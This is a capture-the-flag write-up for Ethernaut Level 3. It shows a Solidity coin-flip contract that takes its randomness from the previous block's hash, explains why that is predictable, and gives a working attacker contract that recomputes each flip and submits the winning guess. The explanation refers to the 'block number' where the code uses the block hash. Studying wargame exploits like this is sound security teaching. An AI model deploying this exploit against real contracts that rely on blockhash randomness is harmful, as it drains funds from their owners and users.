Ethernaut Level 3: Coin Flip
Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Requirements
- Guess the correct outcome 10 times in a row.
Concepts
- Random number generation or lack thereof in solidity.
- Contract interfaces.
- Block numbers.
Hack
The main vulnerability in the smart contract is in the generation of randomness. The contract tries to flip a coin using the block number of the previous block in the network. This process is not random and is very predictable.
The block number is a global variable and can be easily accessed using block.number
. Furthermore, the block time in Ethereum is around 10 to 20 seconds. This gives us enough time to generate the coin flip and send the result to the CoinFlip
contract.
Solution
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
interface CoinFlip{
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttack {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function flipGuess(address _coinFlipAddress) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
bool result = CoinFlip(_coinFlipAddress).flip(side);
return result;
}
}
To exploit CoinFlip
, we created and deployed the CoinFlipAttack
contract in the same network. Basically, it uses the same coin flip generation method
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
as the CoinFlip
contract. It immediately sends the guess to the contract using an interface.
interface CoinFlip{
function flip(bool _guess) external returns (bool);
}
Lastly, we call the flipGuess()
function, with the address of the CoinFlip
contract, 10 times in a row.
Done!